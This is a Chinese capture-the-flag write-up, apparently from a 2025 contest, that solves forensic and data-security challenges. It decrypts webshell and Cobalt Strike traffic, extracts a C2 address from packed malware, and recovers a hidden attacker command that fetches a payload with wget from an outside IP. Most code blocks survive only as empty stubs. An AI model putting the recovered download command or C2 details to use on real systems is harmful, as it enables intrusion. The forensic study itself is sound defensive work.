流量分析
flag1

题干找的上传是压缩包,筛选包内POST或PUT流量
http.request.method==POST||http.request.method==PUT

其中 No.13038 的key.png是 PK 头,但不是个加密的压缩包

13110是个简单的shell,导出如下
1 |
|
将下方post到shell.php的流量简单解密
1 |
|
得到大马

可见后续返回内容gzip加密,修改dec脚本
1 |
|
挨个解密shell.php流量

15776解密后为压缩包

包含文件 ac7208120ce03c658a83563fda81b469.jpg

故第一问flag为 flag{ac7208120ce03c658a83563fda81b469.jpg}
flag2

继续挨个解密请求,发现有个48fc的报文怀疑是马子

1768跑出beacon,结合之前有一个key.png里有cs的key,后续报文应该都是cs流量。

用key解后续流量。

用 cs-decrypt-metadata 提取cookie里的key。

然后 cs-parse-traffic 梭掉即可。
1 | python3 hang_cs-parse-traffic.py -k "25a496ed7274cb32d46d600205781afb:e2d919d0bff758aeb1167e38ff293edf" ~/Desktop/taishancup2025/1.pcap |

得到密码 Th1s_iMp0rTAnt_pAsSw0rD
flag为 flag{Th1s_iMp0rTAnt_pAsSw0rD}
flag3

做不出来
秘密的系统
flag1

根据流量定位到前期入口是ftp,找到登陆成功包即可,筛选ftp,No.1058包显示,登录成功


flag为 flag{2025-09-05+22:19.09}
flag2
导出其中的rar和一个字典

通过字典跑出myc2密码123.com里面没写有用东西。

跑 client得到密码 TaiShan2025Good!

看头上是upx,脱了

strings硬编码了c2 IP和端口

1 | └─$ grep '191.72.183.116' -ra |
得到flag flag{191.72.183.116:59894}
flag3

正则匹配出身份证号

flag{410389195802182244}
日志分析
flag1

猜是url传参,正则匹配?xx=
1 | grep -E '\?[^;]+=' web_access.log |

flag2

根据该ip请求时间顺序拼接header末尾的hex


1 | grep -E '\?[^;]+=' web_access.log |sort -k4|rev|cut -d'"' -f2|awk -F'[: ]' '{print $1}'|rev|tr -d '\n'|xxd -r -p |
得到 wget -c https://3.229.117.57/update
数据安全识别
flag1

纯遭罪,这里我用的paddle做ocr跑在虚拟机里差不多1-2秒一条
1 | import os |
数据处理部分我是把 敏感、替换词、忽略词 分别导出到了 list1-3 三个txt,然后合并到一个new_list,替换时候在这个 new_list[匹配到的词+len(list1)] 就是目标词的下标。
然后另一个复杂点的是点赞数,因为他放在了ip和评论数中间,所以我用的当前条目的ip来作为basepoint,像这样 ip (点赞数) 共。
1 | # coding=utf-8 |

数据分类分级
flag1

1 | import os |
数据风险评估
flag1
给了个data.xlsx,让从里面筛出格式正确的numpy、gps、用户信息、速度信息,然后根据数据长度统计对应风险值,随后做个数量*挨个的风险值。
1 | import re |
算出来是 15f286e397fd1293867a25c3eba184f8
得到 flag{15f286e397fd1293867a25c3eba184f8}
数据公开安全
1 | import re |
数据库操作审计
flag1
⽣成答案:输出所有检测到的违规操作记录,设置违规码1、2、3、4、5分别表⽰不存在的账号执⾏操作、⽆权操
作的表、超权限操作、多次尝试登陆、⾮root⽤户进⾏权限操作(⻅上表),若发现⽇志某⾏出现违规操作,构建
违规码-编号,若是违规码是4即违规操作是多次登陆尝试,则构建4-IP。多个恶意操作之间⽤逗号(,)隔开即可,拼
接顺序:将违规操作1、2、3、5按照在database_logs.txt表中的编号顺序从⼩到⼤进⾏排序,之后拼接违规操作
4,此时按照IP⼤⼩从⼩到⼤排序。最后将拼接后的内容进⾏32位⼩写md5加密后提交⾄平台
1 | import re |
flag{105818b115101831349d6913a9959204}
数据脱敏
flag1
1 | import re |
flag{f15bde14d6bf0ceac8286a4dfd3f9de9}
数据完整性校验
flag1
1 | import pandas |
flag{20fc5172a5b304e793efd1f89992e753}